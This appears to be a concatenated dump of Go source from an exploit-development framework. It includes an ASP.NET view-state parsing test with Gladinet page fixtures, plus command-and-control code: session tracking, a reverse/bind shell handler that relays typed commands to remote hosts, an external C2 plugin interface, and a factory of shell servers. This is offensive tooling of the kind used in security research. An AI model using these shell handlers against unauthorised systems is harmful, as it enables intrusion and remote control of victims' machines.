<input type="hidden" name="__LASTFOCUS" id="__LASTFOCUS" value="" />
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwULLTE4OTcxMDA5NzIPZBYCZg9kFgQCAw8WAh4EVGV4dGVkAgUPZBYIAgYPZBYCAjsPEGQPFgRmAgECAgIDFgQQBRREZWZhdWx0IC0gYWxsIGluIG9uZQUHZGVmYXVsdGcQBQZNeSBTcWwFBW15c3FsZxAFClNRTCBTZXJ2ZXIFA3NxbGcQBQpQb3N0Z3JlU1FMBQRwc3FsZxYBZmQCCA8PFgIeC05hdmlnYXRlVXJsBSVodHRwOi8vd3d3LmdsYWRpbmV0LmNvbS9wL2NvbnRhY3QuaHRtZGQCCQ8PFgIfAQUjaHR0cDovL3d3dy5nbGFkaW5ldC5jb20vcC90ZXJtcy5odG1kZAIKDw8WAh8BBSVodHRwOi8vd3d3LmdsYWRpbmV0LmNvbS9wL3ByaXZhY3kuaHRtZGRkhIVOv1laSf4FVfKCihTCvPyajtM=" />
</div>
<div>
	<input type="hidden" name="__VIEWSTATEGENERATOR" id="__VIEWSTATEGENERATOR" value="C73717A7" />
	<input type="hidden" name="__EVENTVALIDATION" id="__EVENTVALIDATION" value="/wEdAAdexv6/qKqWdd7V9UzkVbKnzivrZbTfl5HxflMl0WEimkj+n3ntyqDMPWej+FjsRo61P6Uqwq7GZ15buFg7WHqF4VZwC+5O3u0TMTTYeToUrXDySQQEwxvyin+PIQ6Xt1JpqJ+bt/0dmbPhJrKioUwF82Mylv8B1bqOz6F0llEnG94eilk=" />
</div>
</body>
</html>`

var pageState2 = `<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head><meta http-equiv="X-UA-Compatible" content="IE=9" /><meta http-equiv="Page-Enter" content="Alpha(opacity=100)" /><title>
	Gladinet Cloud Cluster
</title>
<body style="overflow:hidden;">
    <form name="aspnetForm" method="post" action="./admindatabase.aspx" id="aspnetForm">
<div>
<input type="hidden" name="__EVENTTARGET" id="__EVENTTARGET" value="" />
<input type="hidden" name="__EVENTARGUMENT" id="__EVENTARGUMENT" value="" />
<input type="hidden" name="__LASTFOCUS" id="__LASTFOCUS" value="" />
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwULLTE4OTcxMDA5NzIPZBYCZg9kFgQCAw8WAh4EVGV4dGVkAgUPZBYIAgYPZBYGAjsPEGQPFgRmAgECAgIDFgQQBRREZWZhdWx0IC0gYWxsIGluIG9uZQUHZGVmYXVsdGcQBQZNeSBTcWwFBW15c3FsZxAFClNRTCBTZXJ2ZXIFA3NxbGcQBQpQb3N0Z3JlU1FMBQRwc3FsZxYBAgNkAj0PDxYCHgdWaXNpYmxlaGRkAkUPDxYCHwFnZGQCCA8PFgIeC05hdmlnYXRlVXJsBSVodHRwOi8vd3d3LmdsYWRpbmV0LmNvbS9wL2NvbnRhY3QuaHRtZGQCCQ8PFgIfAgUjaHR0cDovL3d3dy5nbGFkaW5ldC5jb20vcC90ZXJtcy5odG1kZAIKDw8WAh8CBSVodHRwOi8vd3d3LmdsYWRpbmV0LmNvbS9wL3ByaXZhY3kuaHRtZGQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFIGN0bDAwJE1haW5Db250ZW50JFBTUUxDaGtTU0xNb2Rlt1OAugQHTFQSO9InFhq1a4zTB6w=" />
</div>
<div>
	<!-- contrived example removes <input type="hidden" name="__VIEWSTATEGENERATOR" id="__VIEWSTATEGENERATOR" value="C73717A7" /> -->
	<input type="hidden" name="__EVENTVALIDATION" id="__EVENTVALIDATION" value="/wEdAA1uUUuJru4fqcEgJkMrkl/VzivrZbTfl5HxflMl0WEimkj+n3ntyqDMPWej+FjsRo61P6Uqwq7GZ15buFg7WHqF4VZwC+5O3u0TMTTYeToUrXDySQQEwxvyin+PIQ6Xt1J+6SNjww5M+V+WUpWYV8cEoUTnLwGbguM3r6r03Xnunl50DFJPWsXTExtP5yQn7eqIN4VNCPK0IRBU8qYLZ2Qrlo7dTb8AdCT3V/XWpLNKSntkbVfk8X4Pe7mGcdZvwtNpqJ+bt/0dmbPhJrKioUwF+aS81hLoX5JwP8HKC0ur6/9jlQ8=" />
</div>
</body>
</html>
`

func TestState_Full(t *testing.T) {
	state := aspnet.State{}
	p := state.AsParams()
	if len(p) != 0 {
		t.Error("Parameters should not have state currently")
	}

	state.Update(pageState1)
	p = state.AsParams()
	if len(p) == 0 {
		t.Error("Parameters should have state currently")
	}
	if len(p) != 6 {
		t.Errorf("First state should only have 6 values: %d - %#v", len(p), p)
	}

	value, exists := p["__VIEWSTATE"]
	if !exists {
		t.Error("ViewState should be set on first request state update")
	}
	if value != `/wEPDwULLTE4OTcxMDA5NzIPZBYCZg9kFgQCAw8WAh4EVGV4dGVkAgUPZBYIAgYPZBYCAjsPEGQPFgRmAgECAgIDFgQQBRREZWZhdWx0IC0gYWxsIGluIG9uZQUHZGVmYXVsdGcQBQZNeSBTcWwFBW15c3FsZxAFClNRTCBTZXJ2ZXIFA3NxbGcQBQpQb3N0Z3JlU1FMBQRwc3FsZxYBZmQCCA8PFgIeC05hdmlnYXRlVXJsBSVodHRwOi8vd3d3LmdsYWRpbmV0LmNvbS9wL2NvbnRhY3QuaHRtZGQCCQ8PFgIfAQUjaHR0cDovL3d3dy5nbGFkaW5ldC5jb20vcC90ZXJtcy5odG1kZAIKDw8WAh8BBSVodHRwOi8vd3d3LmdsYWRpbmV0LmNvbS9wL3ByaXZhY3kuaHRtZGRkhIVOv1laSf4FVfKCihTCvPyajtM=` {
		t.Error("ViewState on first update is unexpected")
	}

	value, exists = p["__LASTFOCUS"]
	if !exists {
		t.Error("LastFocus should not be nil")
	}
	if value != `` {
		t.Error("LastFocus should be set but is an empty string")
	}
	if state.ViewStateGenerator == nil {
		t.Errorf("ViewStateGenerator should not be nil on first request: %#v", state.ViewStateGenerator)
	}

	state.Update(pageState2)
	p = state.AsParams()
	if len(p) == 0 {
		t.Error("Parameters should have state currently at state 2")
	}
	if len(p) != 5 {
		t.Errorf("Second state should only have 5 values: %d - %#v", len(p), p)
	}
	if state.ViewStateGenerator != nil {
		t.Errorf("ViewStateGenerator should be nil on second request: %#v", state.ViewStateGenerator)
	}
	if state.ViewState == nil {
		t.Errorf("ViewState should be not be nil on second request: %#v", state.ViewStateGenerator)
	}
	if *state.ViewState != `/wEPDwULLTE4OTcxMDA5NzIPZBYCZg9kFgQCAw8WAh4EVGV4dGVkAgUPZBYIAgYPZBYGAjsPEGQPFgRmAgECAgIDFgQQBRREZWZhdWx0IC0gYWxsIGluIG9uZQUHZGVmYXVsdGcQBQZNeSBTcWwFBW15c3FsZxAFClNRTCBTZXJ2ZXIFA3NxbGcQBQpQb3N0Z3JlU1FMBQRwc3FsZxYBAgNkAj0PDxYCHgdWaXNpYmxlaGRkAkUPDxYCHwFnZGQCCA8PFgIeC05hdmlnYXRlVXJsBSVodHRwOi8vd3d3LmdsYWRpbmV0LmNvbS9wL2NvbnRhY3QuaHRtZGQCCQ8PFgIfAgUjaHR0cDovL3d3dy5nbGFkaW5ldC5jb20vcC90ZXJtcy5odG1kZAIKDw8WAh8CBSVodHRwOi8vd3d3LmdsYWRpbmV0LmNvbS9wL3ByaXZhY3kuaHRtZGQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFIGN0bDAwJE1haW5Db250ZW50JFBTUUxDaGtTU0xNb2Rlt1OAugQHTFQSO9InFhq1a4zTB6w=` {
		t.Error("ViewState on second update is unexpected")
	}
}

func TestState_Each(t *testing.T) {
	state := aspnet.State{}
	p := state.AsParams()
	if len(p) != 0 {
		t.Error("Parameters should not have state currently")
	}

	state.Update(pageState1)
	p = state.AsParams()
	if len(p) == 0 {
		t.Error("Parameters should have state currently")
	}
	if len(p) != 6 {
		t.Errorf("First state should only have 6 values: %d - %#v", len(p), p)
	}

	value, exists := p["__VIEWSTATE"]
	if !exists {
		t.Error("ViewState should be set on first request state update")
	}
	if value != `/wEPDwULLTE4OTcxMDA5NzIPZBYCZg9kFgQCAw8WAh4EVGV4dGVkAgUPZBYIAgYPZBYCAjsPEGQPFgRmAgECAgIDFgQQBRREZWZhdWx0IC0gYWxsIGluIG9uZQUHZGVmYXVsdGcQBQZNeSBTcWwFBW15c3FsZxAFClNRTCBTZXJ2ZXIFA3NxbGcQBQpQb3N0Z3JlU1FMBQRwc3FsZxYBZmQCCA8PFgIeC05hdmlnYXRlVXJsBSVodHRwOi8vd3d3LmdsYWRpbmV0LmNvbS9wL2NvbnRhY3QuaHRtZGQCCQ8PFgIfAQUjaHR0cDovL3d3dy5nbGFkaW5ldC5jb20vcC90ZXJtcy5odG1kZAIKDw8WAh8BBSVodHRwOi8vd3d3LmdsYWRpbmV0LmNvbS9wL3ByaXZhY3kuaHRtZGRkhIVOv1laSf4FVfKCihTCvPyajtM=` {
		t.Error("ViewState on first update is unexpected")
	}

	value, exists = p["__LASTFOCUS"]
	if !exists {
		t.Error("LastFocus should not be nil")
	}
	if value != `` {
		t.Error("LastFocus should be set but is an empty string")
	}
	value, exists = p["__VIEWSTATEGENERATOR"]
	if !exists {
		t.Error("ViewStateGenerator should not be nil")
	}
	if value != `C73717A7` {
		t.Error("ViewStateGenerator on first update is unexpected")
	}
	value, exists = p["__EVENTVALIDATION"]
	if !exists {
		t.Error("EventValidation should not be nil")
	}
	if value != `/wEdAAdexv6/qKqWdd7V9UzkVbKnzivrZbTfl5HxflMl0WEimkj+n3ntyqDMPWej+FjsRo61P6Uqwq7GZ15buFg7WHqF4VZwC+5O3u0TMTTYeToUrXDySQQEwxvyin+PIQ6Xt1JpqJ+bt/0dmbPhJrKioUwF82Mylv8B1bqOz6F0llEnG94eilk=` {
		t.Error("EventValidation on first update is unexpected")
	}
	if state.EventArgument == nil {
		t.Errorf("EventArgument should not be nil on second request: %#v", state.EventArgument)
	}
	if *state.EventArgument != "" {
		t.Errorf("EventArgument should be empty string on second request: %#v", state.EventArgument)
	}
	if state.EventTarget == nil {
		t.Errorf("EventTarget should not be nil on second request: %#v", state.EventTarget)
	}
	if *state.EventTarget != "" {
		t.Errorf("EventTarget should be empty string on second request: %#v", state.EventTarget)
	}
}

func TestState_Merge(t *testing.T) {
	state := aspnet.State{}
	p := state.AsParams()
	if len(p) != 0 {
		t.Error("Parameters should not have state currently")
	}

	state.Update(pageState1)
	p = state.AsParams()
	if len(p) == 0 {
		t.Error("Parameters should have state currently")
	}
	if len(p) != 6 {
		t.Errorf("State should only have 6 values: %d - %#v", len(p), p)
	}
	v := map[string]string{
		"STUFF": "THINGS",
	}
	merged := state.MergeParams(v)
	if len(merged) != 7 {
		t.Errorf("State should have 7 values: %d - %#v", len(p), p)
	}
}


================================================
FILE: c2/channel/channel.go
================================================
// The channel package is the container for first-party framework C2 structures and variables, it
// holds the internal settings for multiple types of C2s. It is also passed to other external C2
// components in order to support extracting components such as lhost and lport.
package channel

import (
	"crypto/rand"
	"encoding/base32"
	"io"
	"net"
	"sync/atomic"
	"time"

	"github.com/vulncheck-oss/go-exploit/output"
)

type Channel struct {
	IPAddr   string
	HTTPAddr string
	Port     int
	HTTPPort int
	Timeout  int
	IsClient bool
	Shutdown *atomic.Bool
	Sessions map[string]Session
	Input    io.Reader
	Output   io.Writer // Currently unused but figured we'd add it ahead of time
}

type Session struct {
	RemoteAddr     string
	ConnectionTime time.Time
	conn           *net.Conn
	Active         bool
	LastSeen       time.Time
}

// HadSessions checks if a channel has any tracked sessions. This can be used to lookup if a C2
// successfully received callbacks ever, regardless of whether or not it is currently active.
//
//	c, ok := c2.GetInstance(conf.C2Type)
//	c.Channel().HadSessions()
func (c *Channel) HadSessions() bool {
	// Currently sessions are only added to the session structure and then their states are modified.
	// This will only work as long as the sessions are never actually removed from the map, which for
	// now isn't an issue but if we ever switch to a history vs active tracking systtem then this will
	// not be sufficient.
	return len(c.Sessions) > 0
}

// HasSessions checks if a channel has any tracked sessions. This can be used to lookup if a C2
// successfully received callbacks:
//
//	c, ok := c2.GetInstance(conf.C2Type)
//	c.Channel().HasSessions()
func (c *Channel) HasSessions() bool {
	for _, sess := range c.Sessions {
		if sess.Active {
			return true
		}
	}

	return false
}

// AddSession adds a remote connection for session tracking. If a network connection is being
// tracked it can be added here and will be cleaned up and closed automatically by the C2 on
// shutdown.
func (c *Channel) AddSession(conn *net.Conn, addr string) bool {
	if len(c.Sessions) == 0 {
		c.Sessions = make(map[string]Session)
	}
	// This is my session randomizing logic. The theory is that it keeps us dependency free while
	// also creating the same 16bit strength of UUIDs. If we only plan on using the random UUIDs
	// anyway this should meet the same goals while also being URL safe and no special characters.
	k := make([]byte, 16)
	_, err := rand.Read(k)
	if err != nil {
		output.PrintfFrameworkError("Could not add session: %s", err.Error())

		return false
	}
	id := base32.StdEncoding.WithPadding(base32.NoPadding).EncodeToString(k)
	c.Sessions[id] = Session{
		// Add the time of now to the current connection time
		ConnectionTime: time.Now(),
		conn:           conn,
		RemoteAddr:     addr,
		LastSeen:       time.Now(),
		Active:         true,
	}

	return true
}

// Updates the LastSeen value for provided connection to the provided time.
func (c *Channel) UpdateLastSeenByConn(conn net.Conn, timeStamp time.Time) bool {
	id, ok := c.GetSessionIDByConn(conn)
	if !ok {
		return false
	}

	session, ok := c.Sessions[id]
	if !ok {
		output.PrintFrameworkError("Session ID does not exist")

		return false
	}

	session.LastSeen = timeStamp
	c.Sessions[id] = session

	return true
}

// Returns the session ID that contains a given connection.
func (c *Channel) GetSessionIDByConn(conn net.Conn) (string, bool) {
	if len(c.Sessions) == 0 {
		output.PrintFrameworkDebug("No sessions exist")

		return "", false
	}

	for id, session := range c.Sessions {
		if *session.conn == conn {
			return id, true
		}
	}

	output.PrintFrameworkError("Conn does not exist in sessions")

	return "", false
}

// RemoveSession removes a specific session ID and if a connection exists, closes it.
func (c *Channel) RemoveSession(id string) bool {
	if len(c.Sessions) == 0 {
		output.PrintFrameworkDebug("No sessions exist")

		return false
	}
	session, ok := c.Sessions[id]
	if !ok {
		output.PrintFrameworkError("Session ID does not exist")

		return false
	}
	if c.Sessions[id].conn != nil {
		(*c.Sessions[id].conn).Close()
	}
	session.Active = false
	c.Sessions[id] = session

	return true
}

// RemoveSessions removes all tracked sessions and closes any open connections if applicable.
func (c *Channel) RemoveSessions() bool {
	if len(c.Sessions) == 0 {
		output.PrintFrameworkDebug("No sessions exist")

		return false
	}
	for id := range c.Sessions {
		c.RemoveSession(id)
	}

	return true
}


================================================
FILE: c2/cli/basic.go
================================================
// Command-line helpers for C2s
package cli

import (
	"bufio"
	"net"
	"os"
	"sync"
	"testing"
	"time"

	"github.com/vulncheck-oss/go-exploit/c2/channel"
	"github.com/vulncheck-oss/go-exploit/output"
	"github.com/vulncheck-oss/go-exploit/protocol"
)

// backgroundResponse handles the network connection reading for response data and contains a
// trigger to the shutdown of the channel to ensure cleanup happens on socket close.
func backgroundResponse(ch *channel.Channel, wg *sync.WaitGroup, conn net.Conn, responseCh chan string) {
	defer wg.Done()
	defer func(channel *channel.Channel) {
		// Signals for both routines to stop, this should get triggered when socket is closed
		// and causes it to fail the read
		channel.Shutdown.Store(true)
	}(ch)
	responseBuffer := make([]byte, 1024)
	for {
		if ch.Shutdown.Load() {
			return
		}

		err := conn.SetReadDeadline(time.Now().Add(1 * time.Second))
		if err != nil {
			output.PrintfFrameworkError("Error setting read deadline: %s, exiting.", err)

			return
		}

		bytesRead, err := conn.Read(responseBuffer)
		if err != nil && !os.IsTimeout(err) {
			// things have gone sideways, but the command line won't know that
			// until they attempt to execute a command and the socket fails.
			// i think that's largely okay.
			return
		}

		if bytesRead > 0 {
			// I think there is technically a race condition here where the socket
			// could have move data to write, but the user has already called exit
			// below. I that that's tolerable for now.
			responseCh <- string(responseBuffer[:bytesRead])
			// Update "Last Seen"
			ok := ch.UpdateLastSeenByConn(conn, time.Now())
			if !ok {
				output.PrintFrameworkError("Failed to update LastSeen value for connection")

				return
			}
		}
		time.Sleep(10 * time.Millisecond)
	}
}

// A very basic reverse/bind shell handler.
func Basic(conn net.Conn, ch *channel.Channel) {
	// Create channels for communication between goroutines.
	responseCh := make(chan string)

	// Use a WaitGroup to wait for goroutines to finish.
	var wg sync.WaitGroup

	// Goroutine to read responses from the server.
	wg.Add(1)

	// If running in the test context inherit the channel input setting, this will let us control the
	// input of the shell programmatically.
	if !testing.Testing() {
		ch.Input = os.Stdin
	}
	go backgroundResponse(ch, &wg, conn, responseCh)

	// Goroutine to handle responses and print them.
	wg.Add(1)
	go func(channel *channel.Channel) {
		defer wg.Done()
		for {
			if channel.Shutdown.Load() {
				return
			}
			select {
			case response := <-responseCh:
				output.PrintShell(response)
			default:
			}
			time.Sleep(10 * time.Millisecond)
		}
	}(ch)

	go func(channel *channel.Channel) {
		// no waitgroup for this one because blocking IO, but this should not matter
		// since we are intentionally not trying to be a multi-implant C2 framework.
		// There still remains the issue that you would need to hit enter to find out
		// that the socket is dead but at least we can stop Basic() regardless of this fact.
		// This issue of unblocking stdin is discussed at length here https://github.com/golang/go/issues/24842
		for {
			reader := bufio.NewReader(ch.Input)
			command, _ := reader.ReadString('\n')
			if channel.Shutdown.Load() {
				break
			}
			if command == "exit\n" {
				channel.Shutdown.Store(true)

				break
			}
			ok := protocol.TCPWrite(conn, []byte(command))
			if !ok {
				channel.Shutdown.Store(true)

				break
			}
			time.Sleep(10 * time.Millisecond)
		}
	}(ch)

	// wait until the go routines are clean up
	wg.Wait()
	close(responseCh)
}


================================================
FILE: c2/external/external.go
================================================
// The external C2 module extends the C2 functionality and exposes an interface to allow for an
// exploit to utilize a channel that is defined in an external repository. This enables third-party
// and non-trivial channels. This module defines an interface and external service type that must be
// handled by the implementing external module.
//
// The External interface requires the following functions, each of which require the external
// C2 to define a set of functions:
//
//   - Configure - A function to wrap the internal C2 functions and integrate them into the
//     go-exploit expected structure.
//   - SetFlags - Configure the C2 specific flags used by the exploit.
//   - SetInit - Sets up the server singleton/C2 representation of the server structs.
//   - SetChannel` - Creates the go-exploit channel that is the framework representation of an
//     object and allows for channel settings to filter into the external module.
//   - SetRun - The function that actually runs the external C2.
//
// At this time only one External module can be defined per exploit as the implementation and
// singleton can not be duplicated.
//
// # Creating an external C2 channel
//
// An external module template will generally be structured as follows:
//
//	package c2external
//
//	import (
//		"flag"
//		"net"
//
//		"github.com/vulncheck-oss/go-exploit/c2"
//		"github.com/vulncheck-oss/go-exploit/c2/channel"
//		"github.com/vulncheck-oss/go-exploit/c2/external"
//	)
//
//	var flagCommand string
//
//	var (
//		Name      = "ExtServer"
//		ExtServer c2.Impl
//	)
//
//	type ExternalC2 struct {
//		Channel *channel.Channel
//		// Example of how you can define variables accessible in the set functions
//		Listener *net.Listener
//	}
//
//	func New() ExternalC2 {
//		return ExternalC2{}
//	}
//
//	func (c2 *ExternalC2) ExtServerFlags() {
//		// Flags for the external C2. The run function in the framework handles the parsing and
//		// the options will be available to the exploit.
//		flag.StringVar(&flagCommand, Name+".command", "", "Run a single command and exit the payload.")
//	}
//
//	func (c2 *ExternalC2) ExtServerInit() {
//		// Any initialization such as key generation or external configuration components can go
//		// here.
//	}
//
//	func (c2 *ExternalC2) ExtServerChannel(channel *channel.Channel) {
//		// This will generally just be setting the internal channel to match the expected
//		// go-exploit channel and provide access to the framework channel.
//		c2.Channel = channel
//	}
//
//	func (c2 *ExternalC2) ExtServerRun(timeout int) bool {
//		// Add any servers or connection pooling here
//		// Make sure to handle the timeout!
//		return false
//	}
//
//	func Configure(externalServer *external.Server) {
//		ExtServer = c2.AddC2(Name)
//		extc2 := New()
//		externalServer.SetFlags(extc2.ExtServerFlags)
//		externalServer.SetChannel(extc2.ExtServerChannel)
//		externalServer.SetInit(extc2.ExtServerInit)
//		externalServer.SetRun(extc2.ExtServerRun)
//	}
//
// # Adding an external C2 to an exploit
//
// In order to add an external C2 to an exploit it is required to get a new
//
//	package main
//
//	import (
//		"flag"
//		"os/exec"
//
//		"github.com/vulncheck-oss/go-exploit"
//		"github.com/vulncheck-oss/go-exploit/c2"
//		"github.com/vulncheck-oss/go-exploit/c2/external"
//		"github.com/vulncheck-oss/go-exploit/config"
//		"github.com/vulncheck-oss/go-exploit/output"
//
//		c2example "github.com/vulncheck-oss/external-c2-experiments/example"
//	)
//
//	type ExternalTest struct{}
//
//	var flagPayload string
//
//	func (sploit ExternalTest) ValidateTarget(_ *config.Config) bool {
//		return false
//	}
//
//	func (sploit ExternalTest) CheckVersion(_ *config.Config) exploit.VersionCheckType {
//		return exploit.NotImplemented
//	}
//
//	func (sploit ExternalTest) RunExploit(conf *config.Config) bool {
//		if flagPayload == "" {
//			output.PrintfStatus("Payload argument required")
//			return false
//		}
//		cmd := exec.Command(flagPayload)
//		stdoutStderr, err := cmd.CombinedOutput()
//		if err != nil {
//			output.PrintfError("%s", err.Error())
//		}
//		output.PrintfError("%s", stdoutStderr)
//
//		return true
//	}
//
//	func main() {
//		flag.StringVar(&flagPayload, "payload", "", "Payload to execute")
//		ext2 := external.GetInstance(c2example.ExtServer.Name)
//		c2example.Configure(ext2)
//		supportedC2 := []c2.Implementation{
//			c2example.ExtServer,
//			c2.SimpleShellServer,
//		}
//
//		conf := config.NewRemoteExploit(
//				config.ImplementedFeatures{
//					AssetDetection: false,
//					VersionScanning: false,
//					Exploitation: false },
//				config.CodeExecution, supportedC2,
//				"Vendor", []string{"Product"},
//				[]string{"cpe:2.3:a:vendor:product"},
//				"CVE-2024-1270", "HTTP", 8080
//			)
//		sploit := ExternalTest{}
//		exploit.RunProgram(sploit, conf)
//	}
//
// It is important to keep in mind that a payload will still need to be written for our newly
// created external C2, as well as handling said payload in the exploit.
//
// In order to use the above C2 in an exploit the following shows how it could be used:
package external

import (
	"github.com/vulncheck-oss/go-exploit/c2/channel"
	"github.com/vulncheck-oss/go-exploit/output"
)

// The Server struct holds the declared external modules internal functions and channel data.
type Server struct {
	flags    func()
	init     func()
	run      func(int) bool
	shutdown func() bool
	meta     func(*channel.Channel)
	channel  *channel.Channel
	name     string
}

// The External interface defines which functions are required to be defined in an external C2
// channel in order to function inside the framework properly. These are ordered in generally
// suggested execution order.
type External interface {
	Configure(*Server)
	SetChannel(func(*channel.Channel))
	SetFlags(func())
	SetInit(func())
	SetRun(func(int) bool)
	SetShutdown(func() bool)
}

var serverSingletons map[string]*Server

// Gets the singleton instance of the external C2. These are kept track based on their internal
// names.
func GetInstance(externalName string) *Server {
	if len(serverSingletons) == 0 {
		serverSingletons = make(map[string]*Server)
		singleton := new(Server)
		singleton.name = externalName
		serverSingletons[externalName] = singleton

		return singleton
	}
	_, exists := serverSingletons[externalName]
	if !exists {
		singleton := new(Server)
		singleton.name = externalName
		serverSingletons[externalName] = singleton

		return singleton
	}

	return serverSingletons[externalName]
}

// SetFlags sets the external modules function for command line flag management.
func (externalServer *Server) SetFlags(f func()) {
	if f == nil {
		panic("SetFlags *must* be a valid function")
	}
	externalServer.flags = f
}

// CreateFlags is used by the framework to run the set function for flag management. This is not
// expected to be implemented by the downstream external C2.
func (externalServer *Server) CreateFlags() {
	if externalServer.flags == nil {
		panic("CreateFlags *must* be a valid function")
	}
	externalServer.flags()
}

// SetInit sets the external C2 initialization function. This function is expected to be used for
// any database management, configuration parsing, and any other functionality required for the C2
// that is not managed by the go-exploit framework channels or command line flags.
func (externalServer *Server) SetInit(f func()) {
	if externalServer.flags == nil {
		panic("Init *must* be a valid function")
	}
	externalServer.init = f
}

// SetChannel sets the function for channel management. The go-exploit channel represents basic
// settings that are provided to the frameworks core modules and are regularly used as ergonomic
// helpers, but may also be required by the external module (ie accessing -lhost or -lport variables
// without having to resort to passing all flag arguments). This generally does not need to
// be complex and is often just passing the channel to a C2 side variable, but they can also be used
// to modify the channel for use in a C2.
func (externalServer *Server) SetChannel(f func(*channel.Channel)) {
	externalServer.meta = f
}

// Init triggers the set C2 initialization and passes the channel to the external module.
func (externalServer *Server) Init(channel *channel.Channel) bool {
	if channel.IsClient {
		output.PrintFrameworkError("Called ExternalServer as a client.")

		return false
	}
	externalServer.init()
	externalServer.meta(channel)

	return true
}

// SetRun sets the external C2 run logic. This is often where the core of the handling is done and
// will often times be setting up listeners, connecting to a SaaS service and querying for payload
// responses, setting up external handlers, etc.
func (externalServer *Server) SetRun(f func(int) bool) {
	externalServer.run = f
}

// Triggers the external modules Run function with the set timeout.
func (externalServer *Server) Run(timeout int) {
	externalServer.run(timeout)
}

// SetShutdown sets the function for server shutdown handling and session cleanup logic. This
// function is what gets called when the framework receives a OS signal, a shell is closed, or
// manually invoked.
func (externalServer *Server) SetShutdown(f func() bool) {
	externalServer.shutdown = f
}

// Shutdown triggers the set shutdown function.
func (externalServer *Server) Shutdown() bool {
	return externalServer.shutdown()
}

// Return the underlying C2 channel containing channel metadata and session tracking.
func (externalServer *Server) Channel() *channel.Channel {
	// I'd much rather have just exposed a `Server.Channel`, but we are interface bound
	return externalServer.channel
}


================================================
FILE: c2/factory.go
================================================
// Command and Control (C2)
package c2

import (
	"github.com/vulncheck-oss/go-exploit/c2/channel"
	"github.com/vulncheck-oss/go-exploit/c2/external"
	"github.com/vulncheck-oss/go-exploit/c2/httpservefile"
	"github.com/vulncheck-oss/go-exploit/c2/httpserveshell"
	"github.com/vulncheck-oss/go-exploit/c2/httpshellserver"
	"github.com/vulncheck-oss/go-exploit/c2/shelltunnel"
	"github.com/vulncheck-oss/go-exploit/c2/simpleshell"
	"github.com/vulncheck-oss/go-exploit/c2/sslshell"
	"github.com/vulncheck-oss/go-exploit/output"
)

// An interface used by both reverse shells, bind shells, and stagers.
type Interface interface {
	CreateFlags()
	Init(channel *channel.Channel) bool
	Run(timeout int)
	Shutdown() bool
	Channel() *channel.Channel
}

// Internal representation of a C2 implementation. Each C2 is managed by
// the framework by the Impl struct type and should be unique.
type Impl struct {
	Name     string
	Category category
}

// Categories allow for type hints and invalid checks.
type category int

const (
	InvalidCategory           category = -1
	SimpleShellServerCategory category = 0
	SimpleShellClientCategory category = 1
	SSLShellServerCategory    category = 2
	HTTPServeFileCategory     category = 3
	HTTPServeShellCategory    category = 4
	ExternalCategory          category = 5
	ShellTunnelCategory       category = 6
	HTTPShellServerCategory   category = 7
)

// Simplified names in order to keep the old calling convention and allow
// for quick references in supported C2 functions.
var (
	SimpleShellServer = internalSupported["SimpleShellServer"]
	SimpleShellClient = internalSupported["SimpleShellClient"]
	SSLShellServer    = internalSupported["SSLShellServer"]
	HTTPServeFile     = internalSupported["HTTPServeFile"]
	HTTPServeShell    = internalSupported["HTTPServeShell"]
	ShellTunnel       = internalSupported["ShellTunnel"]
	HTTPShellServer   = internalSupported["HTTPShellServer"]
	// We do not want external to be called directly because external
	// internally is not useful.
)

// The internal representation and model for keeping track of C2s. This is
// modified by external modules, but first-party framework supported
// channels are defined here.
var internalSupported = map[string]Impl{
	"SimpleShellServer": {Name: "SimpleShellServer", Category: SimpleShellServerCategory},
	"SimpleShellClient": {Name: "SimpleShellClient", Category: SimpleShellClientCategory},
	"SSLShellServer":    {Name: "SSLShellServer", Category: SSLShellServerCategory},
	"HTTPServeFile":     {Name: "HTTPServeFile", Category: HTTPServeFileCategory},
	"HTTPServeShell":    {Name: "HTTPServeShell", Category: HTTPServeShellCategory},
	"HTTPShellServer":   {Name: "HTTPShellServer", Category: HTTPShellServerCategory},
	// Ensure the internal supported External module name is an error if used
	// directly.
	"External":    {Name: "", Category: InvalidCategory},
	"ShellTunnel": {Name: "ShellTunnel", Category: ShellTunnelCategory},
}

// Add an external C2 to the supported list. Use this to integrate a new C2
// into the framework. This is expected to be called early in the
// configuration process in order to expose the name of the C2 to the rest
// of the framework.
func AddC2(name string) Impl {
	_, exists := internalSupported[name]
	if exists {
		// We might not want to panic, but it does simplify the call
		panic("C2 type already exists")
	}

	i := Impl{Name: name, Category: ExternalCategory}
	internalSupported[name] = i

	return i
}

// Factory pattern for creating c2 interfaces. Note that this is
// returning an interface, which is a bit anti-Go but it's more or less
// exactly what we want so.
func GetInstance(implementation Impl) (Interface, bool) {
	switch implementation.Category {
	case SimpleShellServerCategory:
		return simpleshell.GetServerInstance(), true
	case SimpleShellClientCategory:
		return simpleshell.GetClientInstance(), true
	case SSLShellServerCategory:
		return sslshell.GetInstance(), true
	case HTTPServeFileCategory:
		return httpservefile.GetInstance(), true
	case HTTPServeShellCategory:
		return httpserveshell.GetInstance(), true
	case ExternalCategory:
		if implementation.Name != "" {
			return external.GetInstance(implementation.Name), true
		}
	case HTTPShellServerCategory:
		return httpshellserver.GetInstance(), true
	case ShellTunnelCategory:
		return shelltunnel.GetInstance(), true
	case InvalidCategory:
		// Calling your external C2 as explicitly invalid is odd.
		output.PrintFrameworkError("Invalid C2 Server")
	default:
		output.PrintFrameworkError("Invalid C2 Server")
	}

	return nil, false
}

// Call into the c2 impl so that it can create command line flags.
func CreateFlags(implementation Impl) {
	switch implementation.Category {
	case SimpleShellServerCategory:
		simpleshell.GetServerInstance().CreateFlags()
	case SimpleShellClientCategory:
		simpleshell.GetClientInstance().CreateFlags()
	case SSLShellServerCategory:
		sslshell.GetInstance().CreateFlags()
	case HTTPServeFileCategory:
		httpservefile.GetInstance().CreateFlags()
	case HTTPServeShellCategory:
		httpserveshell.GetInstance().CreateFlags()
	case ExternalCategory:
		if implementation.Name != "" {
			external.GetInstance(implementation.Name).CreateFlags()
		}
	case HTTPShellServerCategory:
		httpshellserver.GetInstance().CreateFlags()
	case ShellTunnelCategory:
		shelltunnel.GetInstance().CreateFlags()
	case InvalidCategory:
		// Calling your external C2 as explicitly invalid is odd.
		output.PrintFrameworkError("Invalid C2 Server")
	default:
		output.PrintFrameworkError("Invalid C2 Server")
	}
}

